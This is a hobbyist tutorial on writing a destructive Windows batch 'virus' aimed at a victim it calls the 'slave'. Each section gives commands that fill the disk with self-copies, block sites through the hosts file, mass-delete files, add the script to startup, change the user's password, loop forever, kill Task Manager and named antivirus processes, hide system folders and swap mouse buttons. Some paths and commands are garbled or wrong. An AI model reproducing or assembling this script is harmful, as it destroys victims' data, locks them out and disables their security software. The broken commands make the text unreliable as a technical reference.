<<::How To Make A Simple Batch Virus::>>

Some KeyWords:
%SystemRoot%/%WinDir% = Windows Directory
%SystemRoot%/%UserProfile% = Users -OR- Documents and Settings
%SystemRoot%/%ProgramFiles% = ProgramFiles Directory /**NOT PROGRAM FILES (X86) DIRECTORY **\
%SystemRoot%/%UserProfile%/%AppData% = AppData -OR- ApplicationData

What Will This Tutorial Contain:
A. How To Copy Random Useless Files To slave's Computer to Fill his/her HD
B. How To Block Websites
C. How To Open Sites
D. How To Delete Files With a Specific Extension
E. How To Copy Your Virus Into Registry/Startup
F. How To Change User's Password and Date
G. How To Make it a Loop
H. How To Kill Antivirus/Task Manager
I. How To Hide Important Files
J. How To Change/Switch Mouse Buttons

We always start with

Code:

@echo off

A. How To Copy Random Useless Files To slave's Computer to Fill his/her HD
You can add this to your Code which copies this file into many locations you choose:
Always Put Quotes and Replace EXT with any Extension You Like

Code:

copy %0 "%SystemRoot%\%random%.%random%"

B. How To Block Websites
Blocking websites does not allow the User to enter or connect to their Server, and this checks Hosts File in your C:/WINDOWS/System32/Drivers/ETC/ Folder.
So, if we put a code like:

Code:

cmd /c echo 127.0.0.1 http://www.youtube.com>>%SystemRoot%\%WinDir%\system32\Drivers\Etc\Hosts

It will block YouTube.com

C. How To Open Sites
Opening sites from a BatWch Shell is very easy.

Code:

start IEXPLORE SITE

Replace SITE with any site you like

D. How To Delete Files With a Specific Extension
This code is what I call "Search'n'Destroy". It Searches slave's computer for a specific extension and deletes every file it finds with that extension.

Code:

IF EXIST *.EXT (
del *.*
) ELSE (
echo Error
)

Replace EXT with any Extension

E. How To Copy Your Virus Into Registry/Startup
Copying your Virus to StartUp will make slave's Computer Useless, depending on what Virus you made.

Code:

xcopy *.EXT "%userprofile%\Start Menu\Programs\Startup"

Replace EXT with these Extensions { EXE , BAT , CMD }, other extensions won't work.

F. How To Change User's Password and Date
Changing User's Password makes it more difficult for the slave to do anything in their computer. Changing Date can cause MSN Errors.

Code:

net user USERNAME PASSWORD*
set date=1
reg.exe add "%date%" /f >nul

G. How To Make it a Loop
Making a Loop will cause your Virus to Continue Working Again and Again from the Start-To-End using Labels.
Put this on top of your batch after @ECHO OFF:

Code:

:start

And this to the End of the Code:

Code:

GOTO :start

You can change the word START with anything. /**DO NOT FORGET THE : SIGN**\

H. How To Kill Antivirus/Task Manager
Killing TaskManager and AntiVirus makes the Computer 90-98% USELESS.
/F Forces the termination of all processes
/IM imagename Specifies the image name of the process that has to be terminated. Wildcard '*' can be used to specify all image names. Not used if PID is given in the command

Code:

taskkill /F /IM Taskmgr.exe

-OR-

Code:

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul

Replace Taskmgr.exe with any Program's Name, Do this for AntiVirus Programs ,too.
For Multiple Programs Use:

Code:

taskkill /F /IM egui.exe /IM avg.exe

This will stop EsetNOD32 and AVG AntiViruses

I. How To Hide Important Files
Hiding Important Files such us Windows Folder, Program Files Folders etc. It will work for someone who does not know how to use the Computer very well.

Code:

attrib +h FOLDER OR FILE

Replace FOLDER OR FILE with anything that exists

J. How To Change/Switch Mouse Buttons
Changing Mouse Buttons will COMPLETELY Comnfude the slave

Code:

Rundll32 user32,SwapMouseButton